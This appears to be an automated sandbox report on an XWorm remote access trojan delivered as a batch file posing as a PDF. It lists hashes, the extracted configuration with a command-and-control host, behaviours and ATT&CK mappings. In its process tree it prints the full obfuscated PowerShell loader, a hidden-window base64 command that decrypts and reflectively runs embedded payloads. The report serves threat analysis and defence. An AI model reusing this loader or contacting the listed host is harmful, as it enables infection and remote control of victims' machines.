xworm | 080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33

General

Target

z1Electonic-Tracking_document__pdf.bat
Size

64KB
MD5

462294b19375b265a9a912046e9c332f
SHA1

cda76d3e16a4981079254193ec1afc4041f06e0b
SHA256

080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33
SHA512

8ef1f9f32e9f65f51914d3c605d72646910865488faf5bf4ea4e236f649fb21dbbdc1f172889560e6af4c8bfe89afc88225418fe57f5d7de872bda7218fda3a7
SSDEEP

1536:cV/qLMkewGW080dm+qxR2zFnaMvv6ZkbmEKUgXEXzICKUnFi:cV/qLM6Z0ldCxiFnvDHfs

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

KmNubOoGsw3EMIcM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/8-21-0x000001AE2E190000-0x000001AE2E1A0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	8	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
8	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_4089317d.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_4089317d.cmd	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4520	timeout.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
8	powershell.exe
8	powershell.exe
8	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
8	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 376	2000	cmd.exe	85
PID 2000 wrote to memory of 376	2000	cmd.exe	85
PID 376 wrote to memory of 8	376	cmd.exe	87
PID 376 wrote to memory of 8	376	cmd.exe	87
PID 8 wrote to memory of 3408	8	powershell.exe	100
PID 8 wrote to memory of 3408	8	powershell.exe	100
PID 3408 wrote to memory of 4520	3408	cmd.exe	102
PID 3408 wrote to memory of 4520	3408	cmd.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\z1Electonic-Tracking_document__pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\z1Electonic-Tracking_document__pdf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZGVoZ2EgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGRlaGdhKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRkZWhnYSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRkZWhnYSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZGVoZ2EiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gcXFtc2coJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0s1bk03Z21aeTVLcEdGZUtNaTdMMmdBcFcrbVcwOU9LVW96REt3SGdUUFk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3UzeGFGUm5zYU9uV3pwTlNCblpkUFE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24ga2ZneXkoJHBhcmFtX3Zhcil7CSRzdWhodz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkeHVoemg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZnVlc3A9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkc3VoaHcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZ1ZXNwLkNvcHlUbygkeHVoemgpOwkkZnVlc3AuRGlzcG9zZSgpOwkkc3VoaHcuRGlzcG9zZSgpOwkkeHVoemguRGlzcG9zZSgpOwkkeHVoemguVG9BcnJheSgpO31mdW5jdGlvbiBicHdnbCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGl4Z3RoPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHBwZ21jPSRpeGd0aC5FbnRyeVBvaW50OwkkcHBnbWMuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGRlaGdhOyRkaW5vcD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGRlaGdhKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkemRqIGluICRkaW5vcCkgewlpZiAoJHpkai5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHVpYWxmPSR6ZGouU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGhsdGhwPVtzdHJpbmdbXV0kdWlhbGYuU3BsaXQoJ1wnKTskeGRocXA9a2ZneXkgKHFxbXNnIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhsdGhwWzBdKSkpOyRrZGlzaz1rZmd5eSAocXFtc2cgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkaGx0aHBbMV0pKSk7YnB3Z2wgJHhkaHFwICRudWxsO2Jwd2dsICRrZGlzayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp13D1.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3408
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpe12cp0.m4l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp13D1.tmp.bat

Filesize
171B

MD5
f9c8d7d73cdfb783862fbeedfda62c02

SHA1
87686276c92458119be76158c279f3a77a46913c

SHA256
4127deaee4bc2bae0045840df51ca69d06b370e7e0d944ef11d459c393ffe080

SHA512
0db111201a70b905e312fd1e53923ccd8615ae07736da033f91e1ef9f3c34755a566b5ff70a24f51aa542b46dc22faf1e945728e92250f17cd06b2259350e342

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
462294b19375b265a9a912046e9c332f

SHA1
cda76d3e16a4981079254193ec1afc4041f06e0b

SHA256
080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33

SHA512
8ef1f9f32e9f65f51914d3c605d72646910865488faf5bf4ea4e236f649fb21dbbdc1f172889560e6af4c8bfe89afc88225418fe57f5d7de872bda7218fda3a7

Download Submit
memory/8-16-0x00007FF87F090000-0x00007FF87FB51000-memory.dmp

Filesize
10.8MB

Download
memory/8-14-0x00007FF87F090000-0x00007FF87FB51000-memory.dmp

Filesize
10.8MB

Download
memory/8-13-0x00007FF87F090000-0x00007FF87FB51000-memory.dmp

Filesize
10.8MB

Download
memory/8-2-0x00007FF87F093000-0x00007FF87F095000-memory.dmp

Filesize
8KB

Download
memory/8-17-0x00007FF87F090000-0x00007FF87FB51000-memory.dmp

Filesize
10.8MB

Download
memory/8-19-0x000001AE2E120000-0x000001AE2E12E000-memory.dmp

Filesize
56KB

Download
memory/8-18-0x000001AE13B70000-0x000001AE13B78000-memory.dmp

Filesize
32KB

Download
memory/8-21-0x000001AE2E190000-0x000001AE2E1A0000-memory.dmp

Filesize
64KB

Download
memory/8-22-0x00007FF87F093000-0x00007FF87F095000-memory.dmp

Filesize
8KB

Download
memory/8-23-0x00007FF87F090000-0x00007FF87FB51000-memory.dmp

Filesize
10.8MB

Download
memory/8-8-0x000001AE2BDA0000-0x000001AE2BDC2000-memory.dmp

Filesize
136KB

Download
memory/8-29-0x00007FF87F090000-0x00007FF87FB51000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing